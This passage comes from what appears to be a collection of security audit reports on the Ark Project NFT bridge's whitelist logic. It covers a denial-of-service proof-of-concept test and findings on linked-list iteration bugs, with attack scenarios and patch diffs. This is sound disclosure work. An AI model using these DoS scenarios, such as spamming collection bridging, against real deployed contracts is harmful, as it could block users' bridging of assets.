start_prank(CheatTarget::One(bridge_address), BRIDGE_ADMIN); 69 | bridge.enable_white_list(true); 70 | stop_prank(CheatTarget::One(bridge_address)); 71 | 72 | let collection1 = starknet::contract_address_const::<'collection1'>(); 73 | let collection2 = starknet::contract_address_const::<'collection2'>(); 74 | let collection3 = starknet::contract_address_const::<'collection3'>(); 75 | let collection4 = starknet::contract_address_const::<'collection4'>(); 76 | let collection5 = starknet::contract_address_const::<'collection5'>(); 77 | 78 | start_prank(CheatTarget::One(bridge_address), BRIDGE_ADMIN); 79 | bridge.white_list_collection(collection1, true); 80 | bridge.white_list_collection(collection2, true); 81 | bridge.white_list_collection(collection3, true); 82 | bridge.white_list_collection(collection4, true); 83 | bridge.white_list_collection(collection5, true); 84 | stop_prank(CheatTarget::One(bridge_address)); 85 | 86 | // Check that Collections has been added successfully 87 | let white_listed = bridge.get_white_listed_collections(); 88 | assert_eq!(white_listed.len(), 5, "White list shall contain 5 elements"); 89 | assert_eq!(*white_listed.at(0), collection1, "Wrong collection address in white list"); 90 | assert_eq!(*white_listed.at(1), collection2, "Wrong collection address in white list"); 91 | assert_eq!(*white_listed.at(2), collection3, "Wrong collection address in white list"); 92 | assert_eq!(*white_listed.at(3), collection4, "Wrong collection address in white list"); 93 | assert_eq!(*white_listed.at(4), collection5, "Wrong collection address in white list"); 94 | assert!(bridge.is_white_listed(collection1), "Collection1 should be whitelisted"); 95 | assert!(bridge.is_white_listed(collection2), "Collection2 should be whitelisted"); 96 | assert!(bridge.is_white_listed(collection3), "Collection3 should be whitelisted"); 97 | assert!(bridge.is_white_listed(collection4), "Collection4 should be whitelisted"); 98 | assert!(bridge.is_white_listed(collection5), "Collection5 should be whitelisted"); 99 | 100 | // This should Revert 101 | start_prank(CheatTarget::One(bridge_address), BRIDGE_ADMIN); 102 | bridge.white_list_collection(collection3, false); 103 | stop_prank(CheatTarget::One(bridge_address)); 104 | } 105 | ``` 106 | 107 | To run it you can write this command on `apps/blockchain/starknet` path 108 | 109 | ```bash 110 | snforge test auditor_whitelist_collection_remove_collection_dos_issue 111 | ``` 112 | 113 | > Output: 114 | ```powershell 115 | [FAIL] starklane::tests::bridge_t::tests::auditor_whitelist_collection_remove_collection_dos_issue 116 | 117 | Failure data: 118 | Got an exception while executing a hint: Hint Error: Error in the called contract (0x03b24bdfb3983f3361a7f81e871041cc45f3e1c21bfe3f1cbcaf7bec224627d5): 119 | Error at pc=0:7454: 120 | Could not reach the end of the program. RunResources has no remaining steps. 121 | Cairo traceback (most recent call last): 122 | ... 123 | ``` 124 | 125 | ## Impact 126 | - Inability to remove whitelisted collections. 127 | - If a specific whitelisted NFT collection is malicious, we cannot unwhitelist it. 128 | - The only way to remove a specific NFT will be to start removing from the `head` till we reach that NFT collection to be `unwhitelisted` which will affect other NFT collections and is not an applicable solution in production. 129 | 130 | ## Tools Used 131 | Manual Review + Starknet Foundry 132 | 133 | ## Recommendations 134 | Move to the next element in the linked list once completing the iteration. 135 | 136 | ```diff 137 | diff --git a/apps/blockchain/starknet/src/bridge.cairo b/apps/blockchain/starknet/src/bridge.cairo 138 | index 23cbf8a..35e003b 100644 139 | --- a/apps/blockchain/starknet/src/bridge.cairo 140 | +++ b/apps/blockchain/starknet/src/bridge.cairo 141 | @@ -535,6 +535,7 @@ mod bridge { 142 | self.white_listed_list.write(prev, (active, target)); 143 | break; 144 | } 145 | + prev = next; 146 | }; 147 | self.white_listed_list.write(collection, (false, no_value)); 148 | } 149 | ``` 150 | 151 | -------------------------------------------------------------------------------- /WhiteListing Logic pack/L-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Incorrect Check when removing an NFT collection from whitelisting in `L2Bridge` 3 | 4 | ## Vulnerability Details 5 | When we are adding new elements into whitelists in `L2Bridge` we are using a Linked list for that mission. To know the ending of the linked list we do two checks. The next element should be either zero or not activated to represent that this is the ending of the linked list. 6 | 7 | [bridge.cairo#L502-L513](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L502-L513) 8 | ```cairo 9 | // find last element 10 | loop { 11 | let (_, next) = self.white_listed_list.read(prev); 12 | 1: if next.is_zero() { 13 | break; 14 | } 15 | let (active, _) = self.white_listed_list.read(next); 16 | 2: if !active { 17 | break; 18 | } 19 | prev = next; 20 | }; 21 | ``` 22 | As we can see we check that the next is not zero, or it is not active to represent the ending of the linked list. 23 | 24 | The problem is that this check is not implemented corectly in case of removing where instead of checking the activation of the next element we are checking the activation of the current element, which is not a correct check to determine the ending of the linked list. 25 | 26 | [bridge.cairo#L523-L538](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L523-L538) 27 | ```cairo 28 | // removed element from linked list 29 | loop { 30 | let (active, next) = self.white_listed_list.read(prev); 31 | if next.is_zero() { 32 | // end of list 33 | break; 34 | } 35 | ❌️ if !active { 36 | break; 37 | } 38 | if next == collection { ... } 39 | }; 40 | ``` 41 | 42 | As we can see we are checking the activation of the `prev` node, not the next node, which is not the correct check that is implemented when adding new elements. 43 | 44 | This is an incorrect logic in the code, where reaching to the end of the array should have the same logic when adding or removing. 45 | 46 | ## Recommendations 47 | Check for the activation of the `next` node instead of the `prev` when removing. 48 | 49 | ```diff 50 | diff --git a/apps/blockchain/starknet/src/bridge.cairo b/apps/blockchain/starknet/src/bridge.cairo 51 | index 23cbf8a..d025cb6 100644 52 | --- a/apps/blockchain/starknet/src/bridge.cairo 53 | +++ b/apps/blockchain/starknet/src/bridge.cairo 54 | @@ -527,7 +527,8 @@ mod bridge { 55 | // end of list 56 | break; 57 | } 58 | - if !active { 59 | + let (activeNext, _) = self.white_listed_list.read(next); 60 | + if !activeNext { 61 | break; 62 | } 63 | if next == collection { 64 | ``` 65 | -------------------------------------------------------------------------------- /WhiteListing Logic pack/M-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Permanent (L1 -> L2) DoS Because of whitelisting Linked List Logic. 3 | 4 | ## Vulnerability Details 5 | When doing a Bridged transaction (L2 -> L1), the sequencer calls `L2Bridge::withdraw_auto_from_l1`. 6 | 7 | When calling this function in the last of it we call `ensure_erc721_deployment` and in the last of this function, we call `_white_list_collection` if the collection is not whitelisted we add it to the whitelisted Linked List. 8 | 9 | [bridge.cairo#L471-L478](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L471-L478) 10 | ```cairo 11 | // update whitelist if needed 12 | let (already_white_listed, _) = self.white_listed_list.read(l2_addr_from_deploy); 13 | if already_white_listed != true { 14 | ❌️ _white_list_collection(ref self, l2_addr_from_deploy, true); 15 | self.emit(CollectionWhiteListUpdated { 16 | collection: l2_addr_from_deploy, 17 | enabled: true, 18 | }); 19 | } 20 | ``` 21 | 22 | If we check the logic of the addition in `_white_list_collection` we will find that it adds the new collection in the last of that Linked List, and we are using single Linked List DS, not Double. So we are iterating over all the elements to put this NFT collection in the Linked List. 23 | 24 | [bridge.cairo#L502-L514](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L502-L514) 25 | ```cairo 26 | // find last element 27 | loop { 28 | let (_, next) = self.white_listed_list.read(prev); 29 | if next.is_zero() { 30 | break; 31 | } 32 | let (active, _) = self.white_listed_list.read(next); 33 | if !active { 34 | break; 35 | } 36 | prev = next; 37 | }; 38 | ❌️ self.white_listed_list.write(prev, (true, collection)); 39 | ``` 40 | 41 | As we can see we are iterating from the `head` to the next element to the next one, and so on till we reach the end of the linked list (the next element is zero), then we link our collection to it. 42 | 43 | Whitelisting a linked list is only a part of the logic done when calling `withdraw_auto_from_l1`, besides deploying the NFT collection, mint NFTs to the L2 recipient, and other things, so the tx gas cost will increase and may even reach the maximum. 44 | 45 | Another thing we need to take into consideration is that this function is called by the sequencer, so reverting the tx is possible, and the sequencer may not accept the message from L1 from the beginning if the fees provided was small. 46 | 47 | ## Proof of Concept 48 | > Normal Scenario 49 | - WhiteListing is disabled in `L1Bridge`, so any NFT collection can be bridged. 50 | - Bridge is so active and a lot of NFTs are bridged from L1 to L2. 51 | - Once the collection is deployed, it is added to `whitelisted` collection Linked List. 52 | - The number of whitelisted collections increases 10, 20, 50, 100, 200, 500, 1000, ... 53 | - The cost for Bridging new NFT collection became too large as `withdraw_auto_from_l1` iterates `1000` time besides deploying a new contract and some checks. 54 | - The transaction will get reverted when the sequencer calls it because of the huge TX cost, or it will not accept processing the message in the first place from L1. 55 | 56 | > Attack Scenario 57 | - WhiteListing is disabled in `L1Bridge`, so any NFT collection can be bridged. 58 | - Bridge is so active and a lot of NFTs are bridged from L1 to L2. 59 | - An Attacker spammed Bridging different NFTs from (L1 -> L2). 60 | - The number of whitelisted collections increases 10, 20, 50, 100, 200, 500, 1000, ... 61 | - The cost for Bridging new NFT collection became too large as `withdraw_auto_from_l1` iterates `1000` time besides deploying a new contract and some checks. 62 | - The transaction will get reverted when the sequencer calls it because of the huge TX cost, or it will not accept processing the message in the first place from L1. 63 | 64 | ## Impact 65 | Permanent DoS for Bridging new NFTs from L1 -> L2 66 | 67 | ## Tools Used 68 | Manual Review 69 | 70 | ## Recommendations 71 | You can use something like OpenZeppelin `EnumberableSets` in solidity, and if it is not found we can use `Head/Tail` Linked List, where we will store the First and the last element in the linked list, so when we add a new element we will do it at `θ(1)` not `θ(N)` Average time complexity. 72 | 73 | -------------------------------------------------------------------------------- /WhiteListing Logic pack/M-02.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Existed collections are not whitelisted when Bridging 3 | 4 | ## Vulnerability Details 5 | When Bridging NFTs between `L1<->L2`, we are whitelisting the NFT collection in the destination chain if it is not whitelisted, and since we are checking that depositing NFTs from the source chain should be from a whitelisted NFT, it is important to integrability between L1 and L2. 6 | 7 | The problem is that we are only whitelisting the collection on the destination chain if it doesn't have an attachment to it on L1, whereas after deploying it we are whitelisting it. But if the collection already existed we are not whitelisting it if needed. 8 | 9 | [Bridge.sol#L183-L196](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L183-L196) 10 | ```solidity 11 | if (collectionL1 == address(0x0)) { 12 | if (ctype == CollectionType.ERC721) { 13 | collectionL1 = _deployERC721Bridgeable( ... ); 14 | // update whitelist if needed 15 | ❌️ _whiteListCollection(collectionL1, true); 16 | } else { 17 | revert NotSupportedYetError(); 18 | } 19 | } 20 | ``` 21 | 22 | As we can see, whitelisting occurs only if the NFT collection does not exist on `L1`, so whitelisting the collection will not occur if the collection already exists. 23 | 24 | We will discuss the scenario where this can occur and introduce problems in the `Proof of Concept` section. 25 | 26 | ## Proof of Concept 27 | 28 | - whitelisting is disabled, and any NFT can be Bridged. 29 | - NFTs are Bridged from L1, To L2. 30 | - NFT collections on L1 are not whitelisted collections now (whitelisting is disabled). 31 | - On L2 we are deploying addresses that maps to Collections on L1 and whitelist them. 32 | - the protocol enables whiteListing. 33 | - NFTs collections that were created on L2 are now whitelisted and can be Bridged to L1, but still, these Collection L1 addresses are not whitelisted. 34 | - We can Bridge from L2 to L1 easily as these collections are whitelisted. 35 | - We can withdraw the NFT from L1 easily (there is no check for whitelisting when withdrawing). 36 | - since `L1<->L2` mapping is already set. NFTs Collections are still `not-whitelisted` on L1. 37 | - The process will end up with the ability to Bridge NFTs from `L2 to L1` as they are whitelisted on L2, but the inability to Bridge them from `L1 to L2` as they are not whitelisted on `L1`. 38 | 39 | ## Tools Used 40 | Manual Review 41 | 42 | ## Recommendations 43 | Whitelist the collection if it is newly deployed or if it already exists and is not whitelisted. 44 | 45 | ```diff 46 | diff --git a/apps/blockchain/ethereum/src/Bridge.sol b/apps/blockchain/ethereum/src/Bridge.sol 47 | index e62c7ce..e069544 100644 48 | --- a/apps/blockchain/ethereum/src/Bridge.sol 49 | +++ b/apps/blockchain/ethereum/src/Bridge.sol 50 | @@ -188,13 +188,14 @@ contract Starklane is IStarklaneEvent, UUPSOwnableProxied, StarklaneState, Stark 51 | req.collectionL2, 52 | req.hash 53 | ); 54 | - // update whitelist if needed 55 | - _whiteListCollection(collectionL1, true); 56 | } else { 57 | revert NotSupportedYetError(); 58 | } 59 | } 60 | 61 | + // update whitelist if needed 62 | + _whiteListCollection(collectionL1, true); 63 | + 64 | for (uint256 i = 0; i < req.tokenIds.length; i++) { 65 | uint256 id = req.tokenIds[i]; 66 | ``` 67 | 68 | ## Existence of the issue on the Starknet Side 69 | This issue explains the flow from Ethereum to Starknet. the problem also existed in L2 side, where we are only whitelisting if there is no address for that collection on `L2`. If the `collection_l2 == 0`, we are deploying the collection on L2 and whitelist it. But if it is already existed we are just returning the address without whitelisting it if existed, same as that in L1. 70 | 71 | [bridge.cairo#L440-L442](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L440-L442) 72 | ```cairo 73 | fn ensure_erc721_deployment(ref self: ContractState, req: @Request) -> ContractAddress { 74 | ... 75 | let collection_l2 = verify_collection_address( ... ); 76 | 77 | if !collection_l2.is_zero() { 78 | ❌️ return collection_l2; 79 | } 80 | ... 81 | // update whitelist if needed 82 | let (already_white_listed, _) = self.white_listed_list.read(l2_addr_from_deploy); 83 | if already_white_listed != true { 84 | _white_list_collection(ref self, l2_addr_from_deploy, true); 85 | ... 86 | } 87 | l2_addr_from_deploy 88 | } 89 | ``` 90 | 91 | So if we changed the order, the Collections can be whitelisted on `L1`, but not on `L2` (if the Proof of Concept was in the reverse order), Bridging these NFTs collections from L1 to L2 will be allowed, but we will not be able to Bridge them from `L2` to `L1`, as they are not whitelisted on `L2`. 92 | 93 | **Recommendations**: the same as that in `L1`, we need to whitelist collections if they already exist. 94 | 95 | ```diff 96 | diff --git a/apps/blockchain/starknet/src/bridge.cairo b/apps/blockchain/starknet/src/bridge.cairo 97 | index 23cbf8a..1d3521e 100644 98 | --- a/apps/blockchain/starknet/src/bridge.cairo 99 | +++ b/apps/blockchain/starknet/src/bridge.cairo 100 | @@ -438,6 +438,15 @@ mod bridge { 101 | ); 102 | 103 | if !collection_l2.is_zero() { 104 | + // update whitelist if needed 105 | + let (already_white_listed, _) = self.white_listed_list.read(l2_addr_from_deploy); 106 | + if already_white_listed != true { 107 | + _white_list_collection(ref self, l2_addr_from_deploy, true); 108 | + self.emit(CollectionWhiteListUpdated { 109 | + collection: l2_addr_from_deploy, 110 | + enabled: true, 111 | + }); 112 | + } 113 | return collection_l2; 114 | } 115 | ``` 116 | 117 | _NOTE: if the issue will be judged as two separate issues. Please, consider making this report as duplicate of both of them._ 118 | --------------------------------------------------------------------------------